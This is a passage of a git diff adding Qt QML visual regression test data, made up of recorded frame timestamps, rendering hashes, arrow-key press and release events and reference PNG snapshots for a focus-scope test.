"d143c87d3cf7560f911e98869983efef" + } + Frame { + msec: 8608 + hash: "1fcb9b3d3b4c888c65334b88e240d79c" + } + Frame { + msec: 8624 + hash: "61cec1c227eafafe6c03a33591b1825e" + } + Key { + type: 7 + key: 16777234 + modifiers: 536870912 + text: "1c" + autorep: false + count: 1 + } + Frame { + msec: 8640 + image: "test3.8.png" + } + Frame { + msec: 8656 + hash: "57e009de047c348d3ae14a6271b2e6f2" + } + Frame { + msec: 8672 + hash: "57e009de047c348d3ae14a6271b2e6f2" + } + Frame { + msec: 8688 + hash: "57e009de047c348d3ae14a6271b2e6f2" + } + Frame { + msec: 8704 + hash: "57e009de047c348d3ae14a6271b2e6f2" + } + Frame { + msec: 8720 + hash: "57e009de047c348d3ae14a6271b2e6f2" + } + Frame { + msec: 8736 + hash: "57e009de047c348d3ae14a6271b2e6f2" + } + Frame { + msec: 8752 + hash: "57e009de047c348d3ae14a6271b2e6f2" + } + Frame { + msec: 8768 + hash: "57e009de047c348d3ae14a6271b2e6f2" + } + Frame { + msec: 8784 + hash: "57e009de047c348d3ae14a6271b2e6f2" + } + Frame { + msec: 8800 + hash: "57e009de047c348d3ae14a6271b2e6f2" + } + Frame { + msec: 8816 + hash: "57e009de047c348d3ae14a6271b2e6f2" + } + Frame { + msec: 8832 + hash: "57e009de047c348d3ae14a6271b2e6f2" + } + Frame { + msec: 8848 + hash: "57e009de047c348d3ae14a6271b2e6f2" + } + Frame { + msec: 8864 + hash: "57e009de047c348d3ae14a6271b2e6f2" + } + Frame { + msec: 8880 + hash: "57e009de047c348d3ae14a6271b2e6f2" + } + Frame { + msec: 8896 + hash: "57e009de047c348d3ae14a6271b2e6f2" + } + Frame { + msec: 8912 + hash: "57e009de047c348d3ae14a6271b2e6f2" + } + Frame { + msec: 8928 + hash: "57e009de047c348d3ae14a6271b2e6f2" + } + Frame { + msec: 8944 + hash: "57e009de047c348d3ae14a6271b2e6f2" + } + Frame { + msec: 8960 + hash: "57e009de047c348d3ae14a6271b2e6f2" + } + Frame { + msec: 8976 + hash: "57e009de047c348d3ae14a6271b2e6f2" + } + Frame { + msec: 8992 + hash: "57e009de047c348d3ae14a6271b2e6f2" + } + Frame { + msec: 9008 + hash: "57e009de047c348d3ae14a6271b2e6f2" + } + Frame { + msec: 9024 + hash: "57e009de047c348d3ae14a6271b2e6f2" + } + Frame { + msec: 9040 + hash: "57e009de047c348d3ae14a6271b2e6f2" + } + Frame { + msec: 9056 + hash: "57e009de047c348d3ae14a6271b2e6f2" + } + Key { + type: 6 + key: 16777234 + modifiers: 536870912 + text: "1c" + autorep: false + count: 1 + } + Frame { + msec: 9072 + hash: "fcbb907bcf41602a5c30e2843a4b1fff" + } + Frame { + msec: 9088 + hash: "5fee95daaa629bbf0cec3e41cd693502" + } + Frame { + msec: 9104 + hash: "b9d721d2a8b0867bab29817b99b8ec2d" + } + Frame { + msec: 9120 + hash: "e518e9872a502d3b2ff74d209626c9ee" + } + Frame { + msec: 9136 + hash: "9c535d7da59ed2f2ce116e70c3e165cf" + } + Frame { + msec: 9152 + hash: "e54fbcb23e01d5842885b92d4493535b" + } + Frame { + msec: 9168 + hash: "7ac2467f24cef06c8842460ffe813ee0" + } + Frame { + msec: 9184 + hash: "276293e289db5c9c7cd9612c73ef7792" + } + Frame { + msec: 9200 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Key { + type: 7 + key: 16777234 + modifiers: 536870912 + text: "1c" + autorep: false + count: 1 + } + Frame { + msec: 9216 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 9232 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 9248 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 9264 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 9280 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 9296 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 9312 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 9328 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 9344 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 9360 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 9376 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 9392 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 9408 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 9424 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 9440 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 9456 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 9472 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 9488 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 9504 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 9520 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 9536 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 9552 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 9568 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 9584 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 9600 + image: "test3.9.png" + } + Frame { + msec: 9616 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 9632 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 9648 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 9664 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 9680 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 9696 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 9712 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 9728 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 9744 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 9760 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 9776 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 9792 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 9808 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 9824 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 9840 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 9856 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 9872 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 9888 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 9904 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 9920 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 9936 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 9952 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 9968 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 9984 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 10000 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 10016 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 10032 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 10048 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 10064 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 10080 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 10096 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 10112 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 10128 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 10144 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 10160 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 10176 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 10192 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 10208 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 10224 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 10240 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 10256 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 10272 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 10288 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 10304 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 10320 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 10336 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 10352 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 10368 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Key { + type: 6 + key: 16777249 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 10384 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 10400 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 10416 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 10432 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } +} diff --git a/tests/auto/declarative/qmlvisual/focusscope/data-X11/test.0.png b/tests/auto/declarative/qmlvisual/focusscope/data-X11/test.0.png new file mode 100644 index 0000000..f68f7dc Binary files /dev/null and b/tests/auto/declarative/qmlvisual/focusscope/data-X11/test.0.png differ diff --git a/tests/auto/declarative/qmlvisual/focusscope/data-X11/test.1.png b/tests/auto/declarative/qmlvisual/focusscope/data-X11/test.1.png new file mode 100644 index 0000000..f68f7dc Binary files /dev/null and b/tests/auto/declarative/qmlvisual/focusscope/data-X11/test.1.png differ diff --git a/tests/auto/declarative/qmlvisual/focusscope/data-X11/test.2.png b/tests/auto/declarative/qmlvisual/focusscope/data-X11/test.2.png new file mode 100644 index 0000000..e26c028 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/focusscope/data-X11/test.2.png differ diff --git a/tests/auto/declarative/qmlvisual/focusscope/data-X11/test.3.png b/tests/auto/declarative/qmlvisual/focusscope/data-X11/test.3.png new file mode 100644 index 0000000..9c4b2f2 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/focusscope/data-X11/test.3.png differ diff --git a/tests/auto/declarative/qmlvisual/focusscope/data-X11/test.4.png b/tests/auto/declarative/qmlvisual/focusscope/data-X11/test.4.png new file mode 100644 index 0000000..9c4b2f2 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/focusscope/data-X11/test.4.png differ diff --git a/tests/auto/declarative/qmlvisual/focusscope/data-X11/test.5.png b/tests/auto/declarative/qmlvisual/focusscope/data-X11/test.5.png new file mode 100644 index 0000000..9c4b2f2 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/focusscope/data-X11/test.5.png differ diff --git a/tests/auto/declarative/qmlvisual/focusscope/data-X11/test.qml b/tests/auto/declarative/qmlvisual/focusscope/data-X11/test.qml new file mode 100644 index 0000000..93189fa --- /dev/null +++ b/tests/auto/declarative/qmlvisual/focusscope/data-X11/test.qml @@ -0,0 +1,1599 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 32 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 48 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 64 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 80 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 96 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 112 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 128 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 144 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 160 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 176 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 192 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 208 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 224 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 240 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 256 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 272 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 288 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 304 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 320 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 336 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 352 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 368 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 384 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 400 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 416 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 432 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 448 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 464 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 480 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 496 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 512 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 528 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 544 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 560 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 576 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 592 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 608 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 624 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 640 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 656 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 672 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 688 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 704 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 720 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 736 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 752 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 768 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 784 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 800 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 816 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 832 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 848 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 864 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 880 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 896 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 912 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 928 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 944 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 960 + image: "test.0.png" + } + Frame { + msec: 976 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 992 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 1008 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 1024 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 1040 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 1056 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 1072 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 1088 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 1104 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 1120 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 1136 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 1152 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 1168 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 1184 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 1200 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 1216 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 1232 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 1248 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Key { + type: 6 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 1264 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 1280 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 1296 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 1312 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 1328 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Key { + type: 7 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 1344 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 1360 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 1376 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 1392 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 1408 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 1424 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 1440 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 1456 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 1472 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 1488 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 1504 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 1520 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 1536 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 1552 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 1568 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 1584 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 1600 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 1616 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 1632 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 1648 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 1664 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 1680 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 1696 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 1712 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 1728 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 1744 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 1760 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 1776 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 1792 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Frame { + msec: 1808 + hash: "0de58b2460574baf17912e90ba8a89b2" + } + Key { + type: 6 + key: 16777234 + modifiers: 536870912 + text: "1c" + autorep: false + count: 1 + } + Frame { + msec: 1824 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 1840 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 1856 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 1872 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 1888 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 1904 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 1920 + image: "test.1.png" + } + Frame { + msec: 1936 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 1952 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Key { + type: 7 + key: 16777234 + modifiers: 536870912 + text: "1c" + autorep: false + count: 1 + } + Frame { + msec: 1968 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 1984 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 2000 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 2016 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 2032 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 2048 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 2064 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 2080 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 2096 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 2112 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 2128 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 2144 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 2160 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 2176 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 2192 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 2208 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 2224 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 2240 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 2256 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 2272 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 2288 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 2304 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 2320 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 2336 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 2352 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Key { + type: 6 + key: 16777237 + modifiers: 536870912 + text: "1f" + autorep: false + count: 1 + } + Frame { + msec: 2368 + hash: "9157e592069482e801a091aa69758d26" + } + Frame { + msec: 2384 + hash: "9157e592069482e801a091aa69758d26" + } + Frame { + msec: 2400 + hash: "9157e592069482e801a091aa69758d26" + } + Frame { + msec: 2416 + hash: "9157e592069482e801a091aa69758d26" + } + Frame { + msec: 2432 + hash: "9157e592069482e801a091aa69758d26" + } + Frame { + msec: 2448 + hash: "9157e592069482e801a091aa69758d26" + } + Frame { + msec: 2464 + hash: "9157e592069482e801a091aa69758d26" + } + Key { + type: 7 + key: 16777237 + modifiers: 536870912 + text: "1f" + autorep: false + count: 1 + } + Frame { + msec: 2480 + hash: "9157e592069482e801a091aa69758d26" + } + Frame { + msec: 2496 + hash: "9157e592069482e801a091aa69758d26" + } + Frame { + msec: 2512 + hash: "9157e592069482e801a091aa69758d26" + } + Frame { + msec: 2528 + hash: "9157e592069482e801a091aa69758d26" + } + Frame { + msec: 2544 + hash: "9157e592069482e801a091aa69758d26" + } + Frame { + msec: 2560 + hash: "9157e592069482e801a091aa69758d26" + } + Frame { + msec: 2576 + hash: "9157e592069482e801a091aa69758d26" + } + Frame { + msec: 2592 + hash: "9157e592069482e801a091aa69758d26" + } + Frame { + msec: 2608 + hash: "9157e592069482e801a091aa69758d26" + } + Frame { + msec: 2624 + hash: "9157e592069482e801a091aa69758d26" + } + Frame { + msec: 2640 + hash: "9157e592069482e801a091aa69758d26" + } + Frame { + msec: 2656 + hash: "9157e592069482e801a091aa69758d26" + } + Frame { + msec: 2672 + hash: "9157e592069482e801a091aa69758d26" + } + Frame { + msec: 2688 + hash: "9157e592069482e801a091aa69758d26" + } + Frame { + msec: 2704 + hash: "9157e592069482e801a091aa69758d26" + } + Frame { + msec: 2720 + hash: "9157e592069482e801a091aa69758d26" + } + Frame { + msec: 2736 + hash: "9157e592069482e801a091aa69758d26" + } + Frame { + msec: 2752 + hash: "9157e592069482e801a091aa69758d26" + } + Frame { + msec: 2768 + hash: "9157e592069482e801a091aa69758d26" + } + Frame { + msec: 2784 + hash: "9157e592069482e801a091aa69758d26" + } + Frame { + msec: 2800 + hash: "9157e592069482e801a091aa69758d26" + } + Frame { + msec: 2816 + hash: "9157e592069482e801a091aa69758d26" + } + Frame { + msec: 2832 + hash: "9157e592069482e801a091aa69758d26" + } + Frame { + msec: 2848 + hash: "9157e592069482e801a091aa69758d26" + } + Frame { + msec: 2864 + hash: "9157e592069482e801a091aa69758d26" + } + Frame { + msec: 2880 + image: "test.2.png" + } + Frame { + msec: 2896 + hash: "9157e592069482e801a091aa69758d26" + } + Frame { + msec: 2912 + hash: "9157e592069482e801a091aa69758d26" + } + Frame { + msec: 2928 + hash: "9157e592069482e801a091aa69758d26" + } + Frame { + msec: 2944 + hash: "9157e592069482e801a091aa69758d26" + } + Frame { + msec: 2960 + hash: "9157e592069482e801a091aa69758d26" + } + Frame { + msec: 2976 + hash: "9157e592069482e801a091aa69758d26" + } + Key { + type: 6 + key: 16777235 + modifiers: 536870912 + text: "1e" + autorep: false + count: 1 + } + Frame { + msec: 2992 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 3008 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 3024 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 3040 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 3056 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 3072 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 3088 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Key { + type: 7 + key: 16777235 + modifiers: 536870912 + text: "1e" + autorep: false + count: 1 + } + Frame { + msec: 3104 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 3120 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 3136 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 3152 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 3168 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 3184 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 3200 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 3216 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 3232 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 3248 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 3264 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 3280 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 3296 + hash: "cd2aced96da9032ddd5e2cacf27d045d" + } + Frame { + msec: 3312 + hash: 